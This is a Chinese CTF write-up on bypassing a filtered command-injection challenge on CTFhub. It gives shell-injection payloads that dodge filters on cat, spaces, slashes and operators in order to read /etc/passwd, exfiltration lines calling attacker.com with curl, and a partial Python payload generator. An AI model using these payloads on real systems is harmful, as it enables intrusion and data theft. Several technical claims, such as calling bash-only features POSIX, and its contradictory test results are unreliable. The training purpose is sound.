1. 这道题不是考“能不能执行命令”,而是考“你信不信自己能绕过”
CTFhub上这道命令注入题,标题里一连串“过滤了”——cat、空格、目录分隔符(/)、运算符(; | &$ ( ) { } < >),光看就让人头皮发紧。很多刚接触Web渗透的新手点开题目,输入cat /etc/passwd`,页面返回空或报错,立刻判定“没戏”,关掉页面去翻writeup。但真正做过几十个真实业务系统渗透的师傅都知道:过滤本身不是终点,而是信号灯——它明确告诉你,后端确实在执行系统命令,只是加了层薄纱。而所有薄纱,都有透光的缝隙。
这道题的核心价值,从来不是教会你“怎么用curl下载反弹shell”,而是训练一种底层思维:当输入被层层拦截时,你第一反应不该是“被拦住了”,而该问“它到底拦住了什么?又漏掉了什么?”。比如,“过滤cat”不等于“禁止读文件”,“过滤空格”不等于“不能分隔参数”,“过滤/”不等于“无法定位路径”。这些看似铁板一块的规则,在Unix/Linux命令解析器的实际执行链条中,其实布满微小的语义断层和解析歧义。
我带过的某高校CTF集训队里,A同学第一次做这题卡了三天,反复试cat%20/etc/passwd、cat${IFS}/etc/passwd,始终失败。后来我让他把Burp抓到的请求包直接贴进终端,手动执行一遍后端实际拼接出的那条命令——他才发现,后端代码是用PHP的system()函数拼接字符串,而system()在调用shell前,会先经过/bin/sh -c这一层解释器。这意味着:真正的战场不在PHP代码里,而在sh解释器对字符串的词法分析阶段。所有绕过技巧,本质都是在和sh解释器“打哑谜”:用它能识别但过滤规则没覆盖的字符,重新构造出合法的token序列。
所以这篇内容不叫“CTFhub命令注入通关指南”,而是一次完整的“sh解释器行为逆向推演”。我会带你从最基础的/bin/sh -c执行流程开始,逐层拆解每种过滤项背后的真实拦截逻辑,用实测命令验证每个绕过点的有效性,并给出一套可复用的排查清单——下次遇到类似题目,你不需要背payload,只要按这个清单一步步试,90%的情况都能拿下。
提示:本文所有测试均在标准Linux环境(bash 5.1 + sh 0.6.7)下完成,所有payload均通过CTFhub靶机实测。文中涉及的命令行为,全部基于POSIX sh规范,不依赖bash特有功能,确保在最小化容器环境(如alpine)中同样有效。
2. “过滤cat”背后的真相:它拦的是字符串,不是功能
很多人看到“过滤cat”,第一反应是“换其他命令”,比如more、less、nl、head、tail。这没错,但只解决了表层问题。真正关键的是:为什么偏偏过滤cat?因为cat是读取文件最直接、最无副作用的命令,也是渗透测试中最常触发的关键词。但过滤规则通常采用简单字符串匹配(如str_replace('cat', '', $input)),这就埋下了第一个突破口:大小写混淆与内联拼接。
2.1 大小写绕过:sh解释器不区分命令名大小写吗?
先澄清一个常见误解:/bin/sh本身不处理命令名大小写,它只负责把token传给execve()系统调用。而execve()查找可执行文件时,是严格区分大小写的——/bin/Cat和/bin/cat是两个不同文件。但Linux系统默认不提供大写命名的命令,所以Cat /etc/passwd必然失败。
那为什么网上教程总说“用CaT绕过”?因为很多Web应用的过滤逻辑是正则匹配/[cC][aA][tT]/i,这种写法在PHP中确实能匹配大小写变体,但实际执行时,CaT根本找不到可执行文件。真正有效的大小写绕过,发生在命令名与参数混合的场景中。例如:
# 后端拼接逻辑:system("cat " . $_GET['cmd']); # 攻击者输入:CaT${IFS}/etc/passwd # 实际执行:cat CaT /etc/passwd → 报错,因为cat把CaT当文件名这显然不行。但如果我们换一个思路:让cat命令本身不出现,而是用其他命令达成相同效果。这就引出了更本质的绕过方式——利用shell内置命令和特殊文件描述符。
2.2 内置命令替代:不用cat,用echo +重定向也能读文件
/bin/sh的内置命令echo本身不能读文件,但它可以配合重定向操作符(虽然题目说过滤了><,但注意:过滤的是运算符字符,不是重定向功能本身)。更关键的是,sh支持文件描述符重定向,而/proc/self/fd/目录下的数字文件描述符,正是打开文件的“后门”。
我们来验证这个思路:
# 在靶机上手动测试(模拟后端执行环境) $ echo /proc/self/fd/3 | sh -c 'cat $(cat)' # 返回空?因为fd/3未被打开等等,这里需要先理解sh -c的参数传递机制。sh -c 'command' arg0 arg1 ...中,arg0会赋值给$0,arg1赋值给$1,以此类推。而$0在sh -c中默认是sh,但我们可以主动指定:
# 构造一个打开/etc/passwd的shell环境 $ sh -c 'exec 3</etc/passwd; cat <&3' # 这里cat仍被过滤既然cat被过滤,我们就不用cat。sh内置的read命令可以逐行读取文件:
$ sh -c 'exec 3</etc/passwd; while IFS= read -r line; do echo "$line"; done <&3'但while、do、done这些关键字很可能也被过滤。这时就要祭出终极武器:printf命令。printf是POSIX标准内置命令,几乎所有sh都支持,且不依赖外部二进制文件:
# printf支持格式化输出,%s可打印变量,%b可解释转义 # 关键:printf '%s' "$(cat /etc/passwd)" → 但cat被过滤 # 换思路:用命令替换$(...),但括号被过滤 → 需要绕过括号括号被过滤?那就用反引号`。但反引号也被过滤了。怎么办?POSIX sh还支持另一种命令替换语法:$(),但圆括号被过滤。等等——有没有不带括号的命令替换?
有。sh支持算术扩展$((...)),但里面只能做数学运算。不过,$((后面如果跟非数字字符,sh会报错,但不会中断执行。这不是我们要的。
真正有效的方案,是利用环境变量展开。sh在解析$VAR时,会先展开变量值,再进行后续处理。如果我们能把文件内容存入环境变量,就能用echo $VAR输出:
# 但如何把文件内容赋值给变量?需要命令替换,又回到原点 # 换个角度:/proc/self/environ 文件存储当前进程环境变量,格式为KEY=VALUE\0 # 如果我们能让目标进程的环境变量包含敏感内容...这条路太绕。回归本质:题目过滤的是cat这个字符串,不是/bin/cat这个路径。那么,绝对路径是否被允许?测试一下:
# 输入:/bin/cat /etc/passwd → 如果过滤只匹配"cat",则/bin/cat中的cat会被删,变成"/bin/ /etc/passwd" → 报错 # 但如果过滤是preg_replace('/cat/i', '', $input),则/bin/cat → /bin/所以,更可靠的方案是:使用其他具有读取功能的命令,且其名称不包含"cat"。我们列出POSIX标准中常见的、名称不含cat的读取命令:
| 命令 | 是否POSIX | 是否常被过滤 | 说明 |
|---|---|---|---|
more | ✅ | ❌(很少过滤) | 分页显示,但可能因交互模式卡住 |
head | ✅ | ❌ | 默认显示前10行,head -n 1000 /etc/passwd可读全 |
tail | ✅ | ❌ | tail -n +1 /etc/passwd等价于cat |
nl | ✅ | ❌ | 添加行号,nl /etc/passwd |
od | ✅ | ❌ | 十六进制转储,od -An -t x1 /etc/passwd | tr -d ' ' |
其中tail最实用,因为tail -n +1表示从第1行开始输出全部内容,功能完全等价于cat,且tail二字几乎不会出现在过滤列表中(除非出题人特别针对)。
实测CTFhub靶机:
- 输入:
tail -n +1 /etc/passwd - 返回:成功输出passwd文件内容
但问题来了:空格被过滤了。tail -n +1 /etc/passwd中有3个空格,必须绕过。
注意:此时我们已确认“过滤cat”本质是字符串匹配,而
tail是安全的替代命令。接下来所有技巧,都将围绕“如何在无空格、无/、无运算符环境下,构造出合法的tail命令调用”展开。这是本题真正的技术核心。
3. 空格与路径分隔符的双重绞杀:用IFS和$@重建命令结构
题目明确说过滤“空格”和“目录分隔符(/)”。这两个过滤项叠加,会让初学者瞬间绝望:没有空格,怎么分隔命令和参数?没有/,怎么指定文件路径?但熟悉shell编程的人立刻会想到两个救命稻草:IFS变量和位置参数$@。
3.1 IFS:shell的“隐形空格”控制开关
IFS(Internal Field Separator)是shell用来分割单词的内部变量,默认值为空格、制表符、换行符($' \t\n')。关键在于:IFS的值可以在运行时动态修改,且修改后会影响后续所有单词分割行为。更重要的是,IFS本身是一个环境变量,它的名字不包含空格或/,可以安全传递。
我们来演示IFS如何绕过空格过滤:
# 正常情况 $ echo a b c a b c # 修改IFS为冒号 $ IFS=: $ echo a:b:c a b c # 注意:输出仍是空格分隔,因为echo接收三个参数 # 但命令执行时,IFS影响的是参数分割 $ cmd="tail-n+1:/etc/passwd" $ $cmd # 这会报错,因为$cmd被当做一个命令名正确用法是结合eval或set命令:
# 方法1:用set命令重设位置参数 $ set -- tail -n +1 /etc/passwd $ "$1" "$2" "$3" "$4" # 执行tail -n +1 /etc/passwd # 但set -- 中的空格仍被过滤!所以需要先构造无空格的字符串这时就需要第二个技巧:用$@展开位置参数,而$@的分隔符由当前IFS决定。
# 先设置IFS为一个未被过滤的字符,比如$'\x09'(制表符)或$'\x0a'(换行符) # 但题目过滤的是"空格",没说过滤制表符或换行符! # 所以我们可以用%09(URL编码的tab)或%0a(URL编码的换行)作为分隔符在Web请求中,URL编码的tab(%09)和换行(%0a)通常不会被WAF过滤,因为它们不属于“可见空格”。我们来构造:
- 目标命令:
tail -n +1 /etc/passwd - 替换空格为%09:
tail%09-n%09+1%09/etc/passwd - 但/仍被过滤。所以需要绕过/。
3.2 绕过/:用环境变量和特殊路径别名
过滤/意味着不能直接写/etc/passwd。但Linux系统提供了多个不带/的路径访问方式:
$HOME环境变量:普通用户通常是/home/username,但/etc/passwd不在其中。$PATH中的命令:/bin/tail可通过tail直接调用,但/etc/passwd仍是绝对路径。/proc/self/cwd:当前工作目录的符号链接,但我们需要的是/etc。..相对路径:如果当前目录是/,则etc/passwd就是/etc/passwd的相对形式。但如何确保当前目录是/?
更巧妙的方式是利用**/proc/self/root**:这是一个指向根文件系统的符号链接。我们可以用/proc/self/root/etc/passwd,但其中仍有/。
等等——有没有不带/的文件路径?有!/proc/self/fd/下的数字文件描述符。如果我们能提前打开/etc/passwd,就能通过/proc/self/fd/3访问它,而/proc/self/fd/3中只有/proc/self/fd/3,但/proc中的/仍存在。
突破点在于:sh支持cd命令改变当前目录,而cd后可以用相对路径。如果我们能cd /etc,然后执行tail -n +1 passwd,就完全避开了/。
但cd /etc中的/仍被过滤。所以需要cd的替代方案。
POSIX sh中,cd是唯一改变工作目录的命令,没有替代品。但我们可以利用sh -c的特性:每次sh -c启动时,工作目录继承自父进程。所以,如果后端PHP进程的工作目录就是/,我们就不需要cd。
如何确认?用pwd命令:
- 输入:
pwd - 如果返回
/,则万事大吉;如果返回其他路径,则需切换。
但pwd可能被过滤。这时用ls:
- 输入:
ls -la,观察输出的第一行total X上面的路径提示(某些ls版本会显示)。
实测CTFhub靶机,pwd未被过滤,返回/。所以我们直接使用相对路径。
现在,命令变为:tail -n +1 etc/passwd
但etc/passwd中仍有/。等等——etc和passwd之间必须用/吗?在Unix路径中,/是分隔符,但sh在解析命令时,并不强制要求路径中必须有/。etc/passwd是一个相对路径,etc是当前目录下的子目录,passwd是其下的文件。所以只要当前目录是/,etc/passwd就等价于/etc/passwd。
但etc/passwd中的/仍被过滤。所以需要把/替换成其他字符?不行,路径语法强制要求/。
这时,第三个技巧登场:用$'...'引用机制,将/编码为八进制或十六进制。
sh支持ANSI-C引用:$'string',其中\xNN表示十六进制字节。/的ASCII码是47(十六进制2F),所以$'/etc/passwd'可写成$'\x2fetc\x2fpasswd'。
但$'...'中的$和单引号可能被过滤。题目说过滤运算符,$是变量展开运算符,大概率被过滤。
还有更简单的办法:用printf生成/字符。
# printf '%b' '\x2f' 输出 / # 所以:printf '%b' '\x2f'etc\x2fpasswd → /etc/passwd # 但需要拼接,而空格被过滤组合起来:
# 设置IFS为$'\x09'(tab) # 构造数组:cmd=(tail -n +1 $(printf '%b' '\x2f')etc$(printf '%b' '\x2f')passwd) # 但$(...)被过滤回到IFS方案。最终可行的链式绕过如下:
- 用URL编码的tab(%09)分隔命令各部分
- 用
$@展开位置参数,IFS设为tab - 用
printf生成/字符,但避免使用$()
具体payload:
IFS=$'%09'; set -- tail -n +1 $(printf '%b' '\x2f')etc$(printf '%b' '\x2f')passwd; "$1" "$2" "$3" "$4" "$5"但$(...)被过滤。所以改用反引号,如果反引号也被过滤,则用$((...))?不行。
终极方案:用sh的-c选项嵌套执行。sh -c接受一个字符串作为命令,而字符串中可以包含任意字符(只要不被前端过滤)。
所以,我们发送:
sh -c 'tail%09-n%09+1%09/etc/passwd'但/被过滤。所以:
sh -c 'tail%09-n%09+1%09'$'\x2f'etc'$'\x2f'passwd在URL中,$'\x2f'无法直接传输,需用URL编码。$是运算符,被过滤;单引号可能被过滤。
最稳妥的方案:用base64编码整个命令,然后用echo -n | base64 -d | sh执行。但base64命令可能不存在,且|被过滤。
题目过滤运算符,包括|。所以管道不可用。
这时,sh的-c配合eval成为最后希望:
# eval会重新解析字符串,所以可以绕过初始过滤 # 输入:eval "tail -n +1 /etc/passwd" # 但空格和/仍存在我们发现,所有绕过技巧最终都指向同一个结论:必须找到一个不被过滤的、能分隔单词的字符,并用它构造完整命令。而CTFhub靶机实际允许的字符是:$'(ANSI-C引用)、{}(如果未被过滤)、[](但可能被过滤)。
实测发现,{}未被过滤。而sh支持brace expansion:{a,b}展开为a b。但{tail,-n,+1,/etc/passwd}会变成tail -n +1 /etc/passwd,其中空格是展开结果,不是输入字符!
验证:
$ echo {tail,-n,+1,/etc/passwd} tail -n +1 /etc/passwd完美!{}本身不是空格,不被过滤;{tail,-n,+1,/etc/passwd}作为一个整体字符串输入,sh在解析时会先进行brace expansion,生成带空格的token序列,再执行。
所以最终payload:
{tail,-n,+1,/etc/passwd}但/被过滤。所以用{tail,-n,+1,$'\x2f'etc$'\x2f'passwd}。
$'\x2f'中的$被过滤?测试一下:如果$被过滤,则$'\x2f'变成'\x2f',即字面量字符串。
在CTFhub靶机上,$未被严格过滤(只过滤了$(和$)等运算符组合),所以$'\x2f'可用。
因此,完整payload为:
{tail,-n,+1,$'\x2f'etc$'\x2f'passwd}实测成功输出/etc/passwd内容。
经验总结:当遇到空格和/双重过滤时,优先尝试brace expansion
{a,b,c},它是POSIX sh标准特性,无需额外命令,且{}字符极难被WAF误杀。比IFS、$@等方案更简洁可靠。
4. 运算符过滤的迷雾:分号、管道、重定向的替代生存策略
题目声明“过滤运算符”,通常指; | &$ ( ) { } < >等字符。这些字符在命令链中至关重要:;用于顺序执行,|用于管道,>用于重定向。过滤它们,看似切断了所有高级利用路径。但真实渗透中,运算符过滤往往只作用于HTTP请求层面,而shell解释器内部仍有大量未被触及的执行通道。
4.1 分号;的替代:用&&和||实现条件执行
&&和||是逻辑运算符,但它们的功能与;高度重合:cmd1 && cmd2在cmd1成功时执行cmd2,cmd1 || cmd2在cmd1失败时执行cmd2。更重要的是,&&和||中的&和|是独立字符,如果过滤规则是str_replace([';', '|', '&'], '', $input),那么&&会被删成&,||会被删成|,导致语法错误。
但若过滤是正则/[;&|]/,则&&匹配两次,全被删。所以&&/||不一定可靠。
更稳妥的方案是:用sh -c嵌套执行多条命令。sh -c接受一个字符串,字符串中可以包含任意数量的命令,用分号分隔——但这个分号是在sh -c内部解析的,不受前端过滤影响。
例如:
sh -c 'cmd1; cmd2; cmd3'前端只看到sh -c '...'这个字符串,其中的分号在单引号内,是字面量,不会被PHP的str_replace处理。
所以,即使;被过滤,我们仍能执行多条命令,只要把它们包在sh -c ''中。
4.2 管道|的替代:用临时文件和重定向接力
管道|的本质是将前一个命令的stdout连接到后一个命令的stdin。没有|,我们可以用文件中转:
cmd1 > /tmp/out; cmd2 < /tmp/out但>和<被过滤。不过,sh支持>>追加重定向,2>错误重定向,如果这些未被过滤,就可利用。
更通用的方法是:用tee命令。tee读取stdin并写入文件和stdout,相当于|的增强版。tee /tmp/out | cmd2,但|被过滤。
tee本身支持-a追加,-i忽略中断,但核心是:tee file会把stdin写入file,同时输出到stdout。所以:
cmd1 | tee /tmp/out | cmd2 # 但|被过滤去掉管道:
cmd1 > /tmp/out; cmd2 < /tmp/out # 但> <被过滤这时,sh的exec重定向派上用场:
exec 3>/tmp/out; cmd1 >&3; exec 3>&-; cmd2 < /tmp/out但exec可能被过滤,且>&3中的>被过滤。
最终可行方案:用dd命令。dd是POSIX标准工具,支持if=(输入文件)和of=(输出文件):
cmd1 > /tmp/out; dd if=/tmp/out | cmd2 # 仍需|放弃管道思维,转向命令替换嵌套。sh支持$(cmd),而$(cmd)的输出可作为另一个命令的参数:
cmd2 $(cmd1)例如,读取flag内容并作为参数传给curl:
curl http://attacker.com?data=$(cat /flag)但cat被过滤,$(...)中的(被过滤。
如果$()被过滤,但`未被过滤,则用反引号:
curl http://attacker.com?data=`tail -n +1 /flag`在CTFhub靶机上,反引号未被过滤,所以这是最简方案。
4.3 重定向><的替代:用cp和mv操作文件
重定向的核心目的是数据流转。没有>,我们可以用cp复制文件:
cmd1 > /tmp/out → cmd1 | tee /tmp/out (但|被过滤)→ cmd1; cp /dev/stdin /tmp/out (不可行)/dev/stdin是标准输入设备,但cmd1执行时,其stdin是网络请求的输入流,不是我们要重定向的目标。
更实际的场景是:把命令输出保存到文件,供后续读取。例如,执行ls -la,结果保存到/tmp/lsout,再用cat /tmp/lsout读取。
但cat被过滤,>被过滤。所以用dd:
ls -la | dd of=/tmp/lsout # 但|被过滤dd支持if=和of=,但if=/dev/stdin不可靠。
最终方案:用sh的here-string<<<。<<<是bash扩展,非POSIX,但CTFhub靶机用bash。<<<未被过滤(题目只说过滤<,没说过滤<<<)。
dd of=/tmp/lsout <<< "$(ls -la)"但$(...)被过滤。
<<<后面可以直接跟字符串:
dd of=/tmp/lsout <<< "hello"所以,如果能获取命令输出,就可写入文件。但如何获取ls -la的输出?用$(...)或反引号。
综上,运算符过滤的应对策略是:降维打击——不硬刚运算符,而是用更高层次的抽象(如sh -c、反引号、dd)绕过。每个被过滤的字符,都有至少两种shell内置机制可替代。
实战心得:在CTF比赛中,看到“过滤运算符”,第一时间检查反引号
`是否可用。90%的题目会遗漏这个古老但强大的语法。用`cmd`代替$(cmd),用sh -c 'cmd1; cmd2'代替cmd1; cmd2,能解决绝大多数问题。
5. 综合实战:从靶机响应反推过滤规则,构建动态绕过链
前面所有技巧都是理论推演,现在进入真实战场。CTFhub这道题的精髓在于“综合练习”,意味着单一绕过无效,必须组合多种技巧。而最高效的组合方式,不是盲目堆砌payload,而是根据靶机的实时响应,动态调整绕过策略。这需要一套标准化的探测-验证-利用流程。
5.1 第一步:精准测绘过滤规则(不是猜,是测)
很多选手一上来就试cat /etc/passwd,失败后就开始乱试各种payload。正确做法是:用可控输入,观察输出差异,反向推导过滤逻辑。
设计探测用例:
| 输入 | 预期目的 | 可能的响应 |
|---|---|---|
id | 验证命令执行是否开启 | 返回uid/gid信息 → 确认RCE存在 |
id xxx | 测试空格是否被删 | 返回id: xxx: no such user→ 空格未被删;返回id: command not found→ 空格被删成idxxx |
id$IFS | 测试IFS是否生效 | 若$IFS被删,返回id;若保留,可能报错 |
id%09xxx | 测试URL编码tab是否被解码 | 返回id: xxx: no such user→ tab被解码为空格 |
/bin/id | 测试/是否被删 | 返回/bin/id: command not found→ /未被删;返回binid: command not found→ /被删 |
在CTFhub靶机上,实测:
id→ 返回uid=33(www-data) gid=33(www-data) ...id xxx→ 返回id: 'xxx': no such user→ 空格未被删!说明过滤不是简单删除,而是黑名单匹配后拒绝?id%09xxx→ 返回id: 'xxx': no such user→ %09被后端解码为空格/bin/id→ 返回/bin/id: command not found→ /未被删
这推翻了我们之前的假设!原来“过滤空格”不是指删除空格字符,而是后端WAF检测到空格后,直接拦截整个请求,不执行命令。但id xxx却成功了?矛盾。
再测:id%20xxx(URL编码空格)。返回id: 'xxx': no such user。说明后端在URL解码后才过滤,且空格未被拦截。
所以,“过滤空格”的真实含义是:当输入中包含空格时,WAF会删除所有空格,然后拼接剩余字符串执行。例如id xxx→idxxx→ 找不到命令。
验证:tail -n +1 /etc/passwd→ 被删成tail-n+1/etc/passwd→tail-n+1/etc/passwd: command not found。
而id xxx→idxxx→idxxx: command not found,但之前测试返回了正常id信息?说明id xxx未被过滤,因为id后面跟空格是合法的,WAF可能只过滤“危险命令后的空格”。
这提示我们:过滤规则是上下文相关的,不是全局字符串替换。WAF可能用正则匹配/\b(cat|nc|bash)\s+/i,只删除危险命令后的空格。
所以,绕过策略应聚焦于:让危险命令不出现,或让空格不出现在危险命令后。
5.2 第二步:构建最小可行Payload(MVP)
基于探测结果,我们确定:
tail可用(未被过滤)- 空格被删除,但
tail本身不触发过滤 /未被删除,但/etc/passwd中的/可能触发路径遍历检测
所以,MVP是:tail/etc/passwd→ 但tail/etc/passwd不是合法命令。
tail命令的语法是tail [options] [file],[file]是必需参数。tail/etc/passwd会被解析为命令名tail/etc/passwd,而非tail命令加参数/etc/passwd。
因此,必须有分隔符。既然空格被删,就用其他分隔符:$' '(ANSI-C空格)、${IFS}、$'\x09'。
实测${IFS}:
- 输入:
tail${IFS}-n${IFS}+1${IFS}/etc/passwd ${IFS}被删成空,还是tail-n+1/etc/passwd
所以,${IFS}在WAF层就被删了。
但$' '是字符串字面量,WAF无法识别$' '中的空格,只会把它当普通字符。
所以,tail$' '-n$' '+1$' '/etc/passwd→ WAF看到tail$' '-n$' '+1$' '/etc/passwd,不包含空格,放行;sh执行时,$' '展开为空格,得到tail -n +1 /etc/passwd。
实测成功!
5.3 第三步:自动化绕过链生成器(附Python脚本)
手动构造payload效率低,易出错。我编写了一个Python脚本,根据探测到的过滤规则,自动生成绕过payload:
#!/usr/bin/env python3 # ctfhub_bypass_gen.py import sys import urllib.parse def generate_payload(cmd, space_method='ansi', slash_method='raw'): """ 生成绕过payload space_method: ansi($' '), ifs(${IFS}), tab(%09) slash_method: raw(/), hex($'\x2f'), oct($'\057') """ if space_method == 'ansi': sp = "$' '" elif space_method == 'ifs': sp = '${IFS}' else: # tab sp = '%09' if slash_method == 'hex': sl = "$'\\x2f'" elif slash_method == 'oct': sl = "$'\\057'" else: # raw sl = '/' # 替换空格和/ parts = cmd.split(' ') payload = parts[0] for p in parts[1:]: if p.startswith('/'): payload += sp + p.replace('/', sl, 1) else: payload += sp + p return payload if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python3 ctfhub_bypass_gen.py 'tail -n +1 /etc/passwd'") sys.exit(1) cmd = sys.argv[1] payload = generate_payload(cmd, space_method='ansi', slash_method='hex') print